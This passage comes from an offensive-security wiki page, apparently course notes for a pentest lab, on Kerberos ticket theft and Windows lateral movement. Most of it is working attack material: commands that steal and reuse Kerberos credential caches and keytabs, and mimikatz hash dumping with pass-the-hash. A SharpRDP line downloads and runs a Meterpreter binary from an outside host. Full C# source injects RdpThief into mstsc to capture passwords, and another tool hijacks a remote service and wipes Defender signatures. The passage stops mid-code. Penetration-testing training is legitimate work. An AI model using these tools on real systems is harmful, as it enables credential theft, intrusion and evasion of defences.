kali@kali:~$ ssh-add&lt;br /&gt;
# Connect using SSH-Agent Forwarding:&lt;br /&gt;
kali@kali:~$ ssh offsec@controller&lt;br /&gt;
offsec@controller:~$ ssh offsec@linuxvictim&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Linux Kerberos ===&lt;br /&gt;
&lt;br /&gt;
==== General Syntax ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Logging in to the linuxvictim System&lt;br /&gt;
kali@kali:~$ ssh administrator@corp1.com@linuxvictim&lt;br /&gt;
# Note: We are using Active Directory credentials here.&lt;br /&gt;
# Kerberos Tickets and Credential Cache&lt;br /&gt;
#	• AD members using Kerberos authentication get a credential cache file.&lt;br /&gt;
#	• The cache file location is set via KRB5CCNAME environment variable.&lt;br /&gt;
#	• To find the administrator’s credential cache file:&lt;br /&gt;
env | grep KRB5CCNAME&lt;br /&gt;
# Acquiring Kerberos Tickets&lt;br /&gt;
#	• Kerberos tickets expire after some time.&lt;br /&gt;
#	• Use kinit command to get a ticket-granting ticket (TGT) for the current user.&lt;br /&gt;
kinit&lt;br /&gt;
#	• List stored tickets using klist:&lt;br /&gt;
klist&lt;br /&gt;
# Deleting Cached Tickets&lt;br /&gt;
kdestroy&lt;br /&gt;
# Accessing Kerberos Services&lt;br /&gt;
#	• Get a list of available Service Principal Names (SPN) using ldapsearch with #Kerberos authentication:&lt;br /&gt;
ldapsearch -Y GSSAPI -H ldap://dc01.corp1.com -D &amp;quot;Administrator@CORP1.COM&amp;quot; -W -b &amp;quot;dc=corp1,dc=com&amp;quot; &amp;quot;servicePrincipalName=*&amp;quot;&lt;br /&gt;
# -Y GSSAPI - Force LDAP to use kerberos authentication&lt;br /&gt;
# Requesting a Service Ticket&lt;br /&gt;
#	• Use the kvno utility:&lt;br /&gt;
kvno MSSQLSvc/DC01.corp1.com:1433&lt;br /&gt;
#	• Confirm the ticket acquisition with klist:&lt;br /&gt;
klist&lt;br /&gt;
Ticket cache: FILE:/tmp/krb5cc_607000500_wJiOow&lt;br /&gt;
Default principal: Administrator@CORP1.COM&lt;br /&gt;
Valid starting       Expires              Service principal&lt;br /&gt;
10/05/2023 14:02:39  10/06/2023 00:02:39  krbtgt/CORP1.COM@CORP1.COM&lt;br /&gt;
        renew until 10/12/2023 14:02:38&lt;br /&gt;
10/05/2023 14:03:26  10/06/2023 00:02:39  ldap/dc01.corp1.com@CORP1.COM&lt;br /&gt;
        renew until 10/12/2023 14:02:38&lt;br /&gt;
10/05/2023 14:03:54  10/06/2023 00:02:39  MSSQLSvc/DC01.corp1.com:1433@CORP1.COM&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Stealing Keytab files ===&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Purpose&#039;&#039;&#039;: Automate authentication to Kerberos resources without using a password.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Keytab Files&#039;&#039;&#039;: Contain a Kerberos principal name and encrypted keys.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Creating a Sample Keytab&lt;br /&gt;
administrator@corp1.com@linuxvictim:~$ ktutil&lt;br /&gt;
ktutil: addent -password -p administrator@CORP1.COM -k 1 -e rc4-hmac&lt;br /&gt;
Password for administrator@CORP1.COM: [User Password Entered Here]&lt;br /&gt;
ktutil: wkt /tmp/administrator.keytab&lt;br /&gt;
ktutil: quit&lt;br /&gt;
# Keytab file created at /tmp/administrator.keytab.&lt;br /&gt;
# Potential Misuse of Keytab Files&lt;br /&gt;
# 	• With root access, keytab can be used maliciously.&lt;br /&gt;
root@linuxvictim:~# kinit administrator@CORP1.COM -k -t /tmp/administrator.keytab&lt;br /&gt;
# Verifying the Loaded Tickets&lt;br /&gt;
root@linuxvictim:~# klist&lt;br /&gt;
Ticket cache: FILE:/tmp/krb5cc_1000&lt;br /&gt;
Default principal: administrator@CORP1.COM&lt;br /&gt;
Valid starting    Expires            Service principal&lt;br /&gt;
07/30/2020 15:18:34 07/31/2020 01:18:34 krbtgt/CORP1.COM@CORP1.COM&lt;br /&gt;
renew until 08/06/2020 15:18:34&lt;br /&gt;
# Renewing Expired Tickets&lt;br /&gt;
       • Renew tickets if expired but within renewal timeframe.&lt;br /&gt;
root@linuxvictim:~# kinit -R&lt;br /&gt;
# Exploiting Loaded Keytab Files&lt;br /&gt;
#       • Authenticate as the domain admin.&lt;br /&gt;
root@linuxvictim:~# smbclient -k -U &amp;quot;CORP1.COM\administrator&amp;quot; //DC01.CORP1.COM/C$&lt;br /&gt;
WARNING: The &amp;quot;syslog&amp;quot; option is deprecated&lt;br /&gt;
Try &amp;quot;help&amp;quot; to get a list of possible commands.&lt;br /&gt;
smb: \&amp;gt; ls&lt;br /&gt;
	$Recycle.Bin DHS 0 Sat Sep 15 03:19:00 2018&lt;br /&gt;
	Documents and Settings DHS 0 Tue Jun 9 13:50:42 2020&lt;br /&gt;
	pagefile.sys AHS 738197504 Fri Oct 2 11:25:15 2020&lt;br /&gt;
	PerfLogs D 0 Mon Jun 15 15:04:37 2020&lt;br /&gt;
	Program Files DR 0 Mon Jun 15 08:10:03 2020&lt;br /&gt;
	Program Files (x86) D 0 Tue Jun 9 08:43:21 2020&lt;br /&gt;
ProgramData DH 0 Mon Jun 15 15:04:37 2020&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Abusing Credential Cache files ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Lets say you find a cached credential file in /tmp.&lt;br /&gt;
offsec@linuxvictim:~$ ls -al /tmp/krb5cc_*&lt;br /&gt;
Output:&lt;br /&gt;
-rw------- 1 offsec offsec 1430 Jul 30 15:17 /tmp/krb5cc_1000&lt;br /&gt;
-rw------- 1 administrator@corp1.com domain users@corp1.com 4016 Jul 30 15:11 /tmp/krb5cc_607000500_3aeIA5&lt;br /&gt;
# You can copy, and take ownership of the cache file&lt;br /&gt;
offsec@linuxvictim:~$ sudo cp /tmp/krb5cc_607000500_3aeIA5 /tmp/krb5cc_minenow&lt;br /&gt;
offsec@linuxvictim:~$ sudo chown offsec:offsec /tmp/krb5cc_minenow&lt;br /&gt;
&lt;br /&gt;
-rw------- 1 offsec offsec 4016 Jul 30 15:20 /tmp/krb5cc_minenow&lt;br /&gt;
# Now, to use the stole cache file. First destroy the current keys.&lt;br /&gt;
# Then set the environment variable KRB5CCNAME to specify the location of the Kerberos credentials cache.&lt;br /&gt;
offsec@linuxvictim:~$ kdestroy&lt;br /&gt;
offsec@linuxvictim:~$ export KRB5CCNAME=/tmp/krb5cc_minenow&lt;br /&gt;
offsec@linuxvictim:~$ klist&lt;br /&gt;
Output:&lt;br /&gt;
klist: No credentials cache found (filename: /tmp/krb5cc_1000)&lt;br /&gt;
...&lt;br /&gt;
Ticket cache: FILE:/tmp/krb5cc_minenow&lt;br /&gt;
Default principal: Administrator@CORP1.COM&lt;br /&gt;
...&lt;br /&gt;
renew until 08/06/2020 15:11:08&lt;br /&gt;
# Requesting Service Tickets with the Stolen Cache&lt;br /&gt;
offsec@linuxvictim:~$ kvno MSSQLSvc/DC01.corp1.com:1433&lt;br /&gt;
offsec@linuxvictim:~$ klist&lt;br /&gt;
&lt;br /&gt;
MSSQLSvc/DC01.corp1.com:1433@CORP1.COM: kvno = 2&lt;br /&gt;
...&lt;br /&gt;
renew until 08/06/2020 15:11:08&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Using Kerberos ticket locally ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#  Copy the victim&#039;s stolen ccache file to the Kali machine.&lt;br /&gt;
kali@kali:~$ scp offsec@linuxvictim:/tmp/krb5cc_minenow /tmp/krb5cc_minenow&lt;br /&gt;
# Set the KRB5CCNAME environment variable to use the victim&#039;s Kerberos tickets.&lt;br /&gt;
kali@kali:~$ export KRB5CCNAME=/tmp/krb5cc_minenow&lt;br /&gt;
# These utilities help in performing ticket manipulation tasks.&lt;br /&gt;
kali@kali:~$ sudo apt install krb5-user&lt;br /&gt;
# Determine the IP address of the domain controller and configure the hosts file to recognize it.&lt;br /&gt;
offsec@linuxvictim:~$ host corp1.com&lt;br /&gt;
# Update the /etc/hosts file with domain controller details.&lt;br /&gt;
# Set up Proxy for Kerberos Authentication:&lt;br /&gt;
# The idea is to make it seem like the authentication requests are coming from the domain-joined host.&lt;br /&gt;
#	• Adjust proxy settings: Comment out proxy_dns in /etc/proxychains.conf.&lt;br /&gt;
#	• Create a SOCKS server using SSH on the compromised server.&lt;br /&gt;
kali@kali:~$ ssh offsec@linuxvictim -D 9050&lt;br /&gt;
# Get Users SPN&lt;br /&gt;
proxychains python3 GetUserSPNs.py -k -no-pass -dc-ip 192.168.120.5&lt;br /&gt;
 CORP1.COM/Administrator&lt;br /&gt;
&lt;br /&gt;
# List all AD users from domain&lt;br /&gt;
proxychains python3 GetADUsers.py -all -k -no-pass -dc-ip 192.168.120.5&lt;br /&gt;
 CORP1.COM/Administrator&lt;br /&gt;
&lt;br /&gt;
# Use Impacket&#039;s psexec to get a shell.&lt;br /&gt;
kali@kali:~$ proxychains python3 psexec.py Administrator@DC01.CORP1.COM -k -no-pass&lt;br /&gt;
ProxyChains-3.1 ( http://proxychains.sf.net)&lt;br /&gt;
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation&lt;br /&gt;
...&lt;br /&gt;
[*] Requesting shares on DC01.CORP1.COM.....&lt;br /&gt;
[*] Found writable share ADMIN$&lt;br /&gt;
[*] Uploading file tDwixbpM.exe&lt;br /&gt;
[*] Opening SVCManager on DC01.CORP1.COM.....&lt;br /&gt;
[*] Creating service cEiR on DC01.CORP1.COM.....&lt;br /&gt;
[*] Starting service cEiR.....&lt;br /&gt;
...&lt;br /&gt;
[!] Press help for extra shell commands&lt;br /&gt;
...&lt;br /&gt;
Microsoft Windows [Version 10.0.17763.1282]&lt;br /&gt;
(c) 2018 Microsoft Corporation. All rights reserved.&lt;br /&gt;
C:\Windows\system32&amp;gt; whoami&lt;br /&gt;
nt authority\system&lt;br /&gt;
C:\Windows\system32&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Lateral Movement - Windows ==&lt;br /&gt;
&lt;br /&gt;
=== RDP ===&lt;br /&gt;
&lt;br /&gt;
* Pass the hash using mimikatz.exe and mstsc.exe (Remote desktop).&lt;br /&gt;
&lt;br /&gt;
* Require local administrator to dump the NTLM hashes&lt;br /&gt;
&lt;br /&gt;
* Restricted Admin Mode allows RDP connections without saving credentials on the remote machine.&lt;br /&gt;
It mitigates credential theft on the target system during the RDP session.&lt;br /&gt;
&lt;br /&gt;
* The mode is disabled by default but can be enabled via a registry entry.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mimikatz # privilege::debug&lt;br /&gt;
mimikatz # sekurlsa::logonpasswords&lt;br /&gt;
# If LSA protection is enabled, scroll a bit up to know how to disable it.&lt;br /&gt;
# Once the hash is captured, pass it using the command. mstsc.exe window will popup.&lt;br /&gt;
mimikatz # sekurlsa::pth /user:admin /domain:corp1 /ntlm:2892D26CDF84D7A70E2EB3B9F05C425E /run:&amp;quot;mstsc.exe /restrictedadmin&amp;quot;&lt;br /&gt;
# If restricted admin is disabled, enable it by using powershell on target machine&lt;br /&gt;
 mimikatz # sekurlsa::pth /user:admin /domain:corp1 /ntlm:2892D26CDF84D7A70E2EB3B9F05C425E /run:powershell&lt;br /&gt;
# A Powershell window wil popup.&lt;br /&gt;
Enter-PSSession -Computer appsrv01&lt;br /&gt;
# Enabled Restricted Admin mode&lt;br /&gt;
 New-ItemProperty -Path &amp;quot;HKLM:\System\CurrentControlSet\Control\Lsa&amp;quot; -Name DisableRestrictedAdmin -Value 0&lt;br /&gt;
# Disable RAM&lt;br /&gt;
Remove-ItemProperty -Path &amp;quot;HKLM:\System\CurrentControlSet\Control\Lsa&amp;quot; -Name DisableRestrictedAdmin&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Reverse RDP Proxying with Metasploit ====&lt;br /&gt;
&lt;br /&gt;
* Access machines protected by firewalls and NAT configurations via reverse proxying.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Prerequisite:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Already have an established meterpreter session&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Background current meterpreter shell&lt;br /&gt;
background&lt;br /&gt;
# Set Up Autoroute in Metasploit:&lt;br /&gt;
msf5 exploit(multi/handler) &amp;gt; use multi/manage/autoroute&lt;br /&gt;
msf5 post(multi/manage/autoroute) &amp;gt; set session 1&lt;br /&gt;
msf5 post(multi/manage/autoroute) &amp;gt; exploit&lt;br /&gt;
# Configure SOCKS Proxy:&lt;br /&gt;
msf5 post(multi/manage/autoroute) &amp;gt; use auxiliary/server/socks5&lt;br /&gt;
msf5 auxiliary(server/socks4a) &amp;gt; set srvhost 127.0.0.1&lt;br /&gt;
msf5 auxiliary(server/socks4a) &amp;gt; exploit -j&lt;br /&gt;
# Set Up Proxychains for Reverse Tunnel:&lt;br /&gt;
#     Add the SOCKS5 proxy IP and port to Proxychains config:&lt;br /&gt;
kali@kali:~$ sudo bash -c &#039;echo &amp;quot;socks5 127.0.0.1 1080&amp;quot; &amp;gt;&amp;gt; /etc/proxychains.conf&#039;&lt;br /&gt;
# Now you can RDP to target that is protected by edge firewall&lt;br /&gt;
kali@kali:~$ proxychains rdesktop 192.168.120.10&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== SharpRDP.exe - Console rdp ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/0xthirteen/SharpRDP https://github.com/0xthirteen/SharpRDP]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sharprdp.exe computername=appsrv01 command=&amp;quot;powershell (New-Object&lt;br /&gt;
System.Net.WebClient).DownloadFile(&#039;http://192.168.119.120/met.exe&#039;,&lt;br /&gt;
&#039;C:\Windows\Tasks\met.exe&#039;); C:\Windows\Tasks\met.exe&amp;quot; username=corp1\dave&lt;br /&gt;
password=lab&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Steal RDP creds using RDPThief.dll ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/0x09AL/RdpThief GitHub - 0x09AL/RdpThief: Extracting Clear Text Passwords from mstsc.exe using API Hooking.]&lt;br /&gt;
&lt;br /&gt;
* Build the rdpthief dll from above link.&lt;br /&gt;
If detours is missing, use Nuget to uninstall and install it again.&lt;br /&gt;
&lt;br /&gt;
* The code below will get the mstsc process and inject the rdpthief dll if anyone tries to RDP to another machine.&lt;br /&gt;
&lt;br /&gt;
* To see the captured credentials, check the output file: &amp;lt;code&amp;gt;​C:\Users\&amp;lt;username&amp;gt;\AppData\Local\Temp\&amp;lt;session_ID&amp;gt;\data.bin​&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.Net;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Text;&lt;br /&gt;
using System.Threading;  // Added this line for Thread.Sleep()&lt;br /&gt;
namespace Inject&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32&amp;quot;, CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]&lt;br /&gt;
        static extern IntPtr GetProcAddress(IntPtr hModule, string procName);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, CharSet = CharSet.Auto)]&lt;br /&gt;
        public static extern IntPtr GetModuleHandle(string lpModuleName);&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String dllName = &amp;quot;C:\\Tools\\RdpThief.dll&amp;quot;;&lt;br /&gt;
            while (true)&lt;br /&gt;
            {&lt;br /&gt;
                Process[] mstscProc = Process.GetProcessesByName(&amp;quot;mstsc&amp;quot;);&lt;br /&gt;
                if (mstscProc.Length &amp;gt; 0)&lt;br /&gt;
	                {&lt;br /&gt;
                    for (int i = 0; i &amp;lt; mstscProc.Length; i++)&lt;br /&gt;
                    {&lt;br /&gt;
                        int pid = mstscProc[i].Id;&lt;br /&gt;
                        IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid);&lt;br /&gt;
                        IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);&lt;br /&gt;
                        IntPtr outSize;&lt;br /&gt;
                        Boolean res = WriteProcessMemory(hProcess, addr, Encoding.Default.GetBytes(dllName), dllName.Length, out outSize);&lt;br /&gt;
                        IntPtr loadLib = GetProcAddress(GetModuleHandle(&amp;quot;kernel32.dll&amp;quot;), &amp;quot;LoadLibraryA&amp;quot;);&lt;br /&gt;
                        IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, loadLib, addr, 0, IntPtr.Zero);&lt;br /&gt;
                    }&lt;br /&gt;
                }&lt;br /&gt;
                Thread.Sleep(1000);  // Sleep for 1 second before checking again&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fileless Lateral Movement ===&lt;br /&gt;
&lt;br /&gt;
Using fileless lateral movement will&lt;br /&gt;
&lt;br /&gt;
* Execute code without registering new service.&lt;br /&gt;
&lt;br /&gt;
* Avoid writing file to disk.&lt;br /&gt;
&lt;br /&gt;
PSExec however will write to disk. At a highlevel:&lt;br /&gt;
&lt;br /&gt;
* PsExec authenticates to SMB on the target host and accesses the DCE/RPC&lt;br /&gt;
DCE/RPC (Distributed Computing Environment / Remote Procedure Calls) is a protocol that supports remote procedure calls, which are used by processes to communicate with one another over a network.&lt;br /&gt;
&lt;br /&gt;
* PsExec will use this interface to access the service control manager, create a new service, and execute it. As part of the attack, the binary that is executed by the service is copied to the target host.&lt;br /&gt;
&lt;br /&gt;
Choose a service thats is not vital to the OS and is not used by default. Check service.msc.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
PsExec.exe -i -u domain\user cmd.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* The user running the code below have the TGT for &amp;lt;code&amp;gt;cifs/appsrv01&amp;lt;/code&amp;gt; in the memory.&lt;br /&gt;
&lt;br /&gt;
* The code will connect to target &amp;lt;code&amp;gt;appsrv01&amp;lt;/code&amp;gt;, open the service &amp;lt;code&amp;gt;SensorService&amp;lt;/code&amp;gt; and change it to open &amp;lt;code&amp;gt;notepad.exe&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* When &amp;lt;code&amp;gt;SensorService&amp;lt;/code&amp;gt; is executed, &amp;lt;code&amp;gt;notepad.exe&amp;lt;/code&amp;gt; will run as SYSTEM user.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
namespace PSLessExec&lt;br /&gt;
{&lt;br /&gt;
    public class Program&lt;br /&gt;
    {&lt;br /&gt;
        public static uint SC_MANAGER_ALL_ACCESS = 0xF003F;&lt;br /&gt;
        public static uint SERVICE_ALL_ACCESS = 0xF01FF;&lt;br /&gt;
        public static uint SERVICE_DEMAND_START = 0x3;&lt;br /&gt;
        public static uint SERVICE_NO_CHANGE = 0xffffffff;&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential)]&lt;br /&gt;
        public class QUERY_SERVICE_CONFIG&lt;br /&gt;
        {&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.U4)]&lt;br /&gt;
            public UInt32 dwServiceType;&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.U4)]&lt;br /&gt;
            public UInt32 dwStartType;&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.U4)]&lt;br /&gt;
            public UInt32 dwErrorControl;&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.LPWStr)]&lt;br /&gt;
            public String lpBinaryPathName;&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.LPWStr)]&lt;br /&gt;
            public String lpLoadOrderGroup;&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.U4)]&lt;br /&gt;
            public UInt32 dwTagID;&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.LPWStr)]&lt;br /&gt;
            public String lpDependencies;&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.LPWStr)]&lt;br /&gt;
            public String lpServiceStartName;&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.LPWStr)]&lt;br /&gt;
            public String lpDisplayName;&lt;br /&gt;
        };&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, EntryPoint = &amp;quot;OpenSCManagerW&amp;quot;, ExactSpelling = true, CharSet = CharSet.Unicode, SetLastError = true)]&lt;br /&gt;
        public static extern IntPtr OpenSCManager(string machineName, string databaseName, uint dwAccess);&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, SetLastError = true, CharSet = CharSet.Auto)]&lt;br /&gt;
        static extern IntPtr OpenService(IntPtr hSCManager, string lpServiceName, uint dwDesiredAccess);&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, CharSet = CharSet.Unicode, SetLastError = true)]&lt;br /&gt;
        public static extern Boolean QueryServiceConfig(IntPtr hService, IntPtr intPtrQueryConfig, UInt32 cbBufSize, out UInt32 pcbBytesNeeded);&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, EntryPoint = &amp;quot;ChangeServiceConfig&amp;quot;)]&lt;br /&gt;
        [return: MarshalAs(UnmanagedType.Bool)]&lt;br /&gt;
        public static extern bool ChangeServiceConfigA(IntPtr hService, uint dwServiceType, uint dwStartType, int dwErrorControl, string lpBinaryPathName, string lpLoadOrderGroup, string lpdwTagId, string lpDependencies, string lpServiceStartName, string lpPassword, string lpDisplayName);&lt;br /&gt;
        [DllImport(&amp;quot;advapi32&amp;quot;, SetLastError = true)]&lt;br /&gt;
        [return: MarshalAs(UnmanagedType.Bool)]&lt;br /&gt;
        public static extern bool StartService(IntPtr hService, int dwNumServiceArgs, string[] lpServiceArgVectors);&lt;br /&gt;
        public static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            if (args.Length != 3)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Usage: PSLessExec.exe [Target] [Service] [BinaryToRun]&amp;quot;);&lt;br /&gt;
                Console.WriteLine(&amp;quot;Example: PSLessExec.exe appsrv01 SensorService notepad.exe&amp;quot;);&lt;br /&gt;
                return;&lt;br /&gt;
            }&lt;br /&gt;
            // Open remote SCManager&lt;br /&gt;
            IntPtr SCMHandle = OpenSCManager(args[0], null, SC_MANAGER_ALL_ACCESS);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Got handle on SCManager on {args[0]}: {SCMHandle}.&amp;quot;);&lt;br /&gt;
            // Access target service&lt;br /&gt;
            IntPtr schService = OpenService(SCMHandle, args[1], SERVICE_ALL_ACCESS);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Got handle on target service {args[1]}: {schService}.&amp;quot;);&lt;br /&gt;
            // Get current binPath (two passes, first is to determine the buffer size needed)&lt;br /&gt;
            UInt32 dwBytesNeeded;&lt;br /&gt;
            QUERY_SERVICE_CONFIG qsc = new QUERY_SERVICE_CONFIG();&lt;br /&gt;
            bool bResult = QueryServiceConfig(schService, IntPtr.Zero, 0, out dwBytesNeeded);&lt;br /&gt;
            IntPtr ptr = Marshal.AllocHGlobal((int)dwBytesNeeded);&lt;br /&gt;
            bResult = QueryServiceConfig(schService, ptr, dwBytesNeeded, out dwBytesNeeded);&lt;br /&gt;
            Marshal.PtrToStructure(ptr, qsc);&lt;br /&gt;
            String binPathOrig = qsc.lpBinaryPathName;&lt;br /&gt;
            // Pass 1: Disable Defender signatures&lt;br /&gt;
            String defBypass = &amp;quot;\&amp;quot;C:\\Program Files\\Windows Defender\\MpCmdRun.exe\&amp;quot; -RemoveDefinitions -All&amp;quot;;&lt;br /&gt;
             bResult = ChangeServiceConfigA(schService, SERVICE_NO_CHANGE, SERVICE_DEMAND_START, 0, defBypass, null, null, null, null, null, null);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Overwrote service executable to become &#039;{defBypass}&#039;, result: {bResult}.&amp;quot;);&lt;br /&gt;
            // Run the service for Pass 1&lt;br /&gt;
            bResult = StartService(schService, 0, null);&lt;br /&gt;
            Console.WriteLine(&amp;quot;Launched service, defender signatures should be wiped.&amp;quot;);&lt;br /&gt;
            // Pass 2: Run the chosen binary&lt;br /&gt;
            bResult = ChangeServiceConfigA(schService, SERVICE_NO_CHANGE, SERVICE_DEMAND_START, 0, args[2], null, null, null, null, null, null);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Overwrote service executable to become &#039;{args[2]}&#039;, result: {bResult}.&amp;quot;);&lt;br /&gt;
            // Run the service for Pass 2&lt;br /&gt;
            bResult = StartService(schService, 0, null);&lt;br /&gt;
            Console.WriteLine(&amp;quot;Launched service. Check for execution!&amp;quot;);&lt;br /&gt;
            // Pass 3: Restore original binPath&lt;br /&gt;
            bResult = ChangeServiceConfigA(schService, SERVICE_NO_CHANGE, SERVICE_DEMAND_START, 0, binPathOrig, null, null, null, null, null, null);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Restored service binary to &#039;{binPathOrig}&#039;, result: {bResult}.&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
namespace lat&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        // P/invoke for OpenSCManagerW&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, EntryPoint = &amp;quot;OpenSCManagerW&amp;quot;, ExactSpelling = true, CharSet = CharSet.Unicode, SetLastError = true)]&lt;br /&gt;
        public static extern IntPtr OpenSCManager(string machineName, string databaseName, uint dwAccess);&lt;br /&gt;
        // P/invoke for OpenService&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, SetLastError = true, CharSet = CharSet.Auto)]&lt;br /&gt;
        static extern IntPtr OpenService(IntPtr hSCManager, string lpServiceName, uint dwDesiredAccess);&lt;br /&gt;
        // P/invoke for ChangeServiceConfig&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, EntryPoint = &amp;quot;ChangeServiceConfig&amp;quot;)]&lt;br /&gt;
        [return: MarshalAs(UnmanagedType.Bool)]&lt;br /&gt;
        public static extern bool ChangeServiceConfigA(IntPtr hService, uint dwServiceType, int dwStartType, int dwErrorControl, string lpBinaryPathName, string lpLoadOrderGroup, string lpdwTagId, string lpDependencies, string lpServiceStartName, string lpPassword, string lpDisplayName);&lt;br /&gt;
        // P/invoke for StartService&lt;br /&gt;
